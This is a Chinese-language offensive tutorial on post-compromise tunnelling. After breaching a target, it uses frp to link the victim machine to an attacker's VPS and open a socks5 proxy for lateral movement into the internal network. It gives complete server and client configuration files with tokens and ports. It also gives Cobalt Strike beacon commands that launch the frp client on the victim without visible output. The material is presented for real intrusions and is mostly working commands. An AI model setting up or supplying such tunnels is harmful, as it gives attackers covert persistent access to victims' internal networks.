前言
实战中,当通过某种方式拿下目标机器权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp
在该机器与VPS
之间建立一条"专属通道",并借助这条通道达到内网穿透的效果。实战中更多时候依靠Socks5
。
配置文件
服务端
配置文件
#通用配置段
[common]
#frp服务端监听 [VPS]
bind_addr = 0.0.0.0
#frp服务器监听端口 [实战中可以用一些通透性较好的端口]
bind_port = 7007
#服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大]
dashboard_port = 6609
#服务端Web控制面板用户名与密码 [强口令]
dashboard_user = admin
dashboard_pwd = admin
#日志输出位置,所有的日志信息都放到当前目录下的frps.log文件中
log_file = ./frps.log
#日志记录等级,有trace、debug、info、warn、error,通常情况下为info
log_level = info
#日志保留时间
log_max_days = 3
#验证凭据,服务端和客户端的凭据必须一样才能连接
auth_token = E0iQEBOdoJeh
#启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]
privilege_mode = true
#特权模式Token [强口令,建议随机生成]
privilege_token = kukezkHC8R1H
#特权模式允许分配的端口 [避免端口被滥用]
privilege_allow_ports = 4000-50000
#心跳检测超时时长
heartbeat_timeout = 30
#每个代理可以设置的连接池上限
max_pool_count = 20
#口令认证超时时间,一般不用改
authentication_timeout = 900
#指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析]
subdomain_host = xxxx.online
./frps -c ./frps.ini
客户端
#通用配置段
[common]
#frp服务端IP或域名 [实战中一般都会直接用域名]
server_addr = frp.xxxx.online
#frp服务器端口
server_port = 7007
#授权token,此处必须与服务端保持一致,否则无法建立连接
auth_token = E0iQEBOdoJeh
#启用特权模式 [特权模式下服务端无需配置]
privilege_mode = true
#特权模式 token,同样要与服务端完全保持一致
privilege_token = kukezkHC8R1H
#心跳检查间隔与超时时间
heartbeat_interval = 10
heartbeat_timeout = 30
#启用加密 [通信内容加密传输,有效防止流量被拦截]
use_encryption = true
#启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]
use_compression = true
#连接数量
pool_count = 20
#内网穿透通常用socks5
[socks5]
type = tcp
#连接VPS内网穿透的远程连接端口
remote_port = 9066
#使用插件socks5代理
plugin = socks5
#socks5连接口令 [根据实际情况进行配置]
#plugin_user = SuperMan
#plugin_passwd = ZBO0McQe6mE1
frpc.exe -c frpc.ini
当frp客户端启动后,是否成功连接,都会在frp
服务端日志中查看到。
但如果直接在目标机的Beacon
中启动frp
客户端,会持续有日志输出,并干扰该pid
下的其他操作,
所以可结合execute
在目标机无输出执行程序。
beacon> sleep 10
beacon> execute c:/frpc.exe -c c:/frpc.ini
beacon> shell netstat -ano | findstr 7007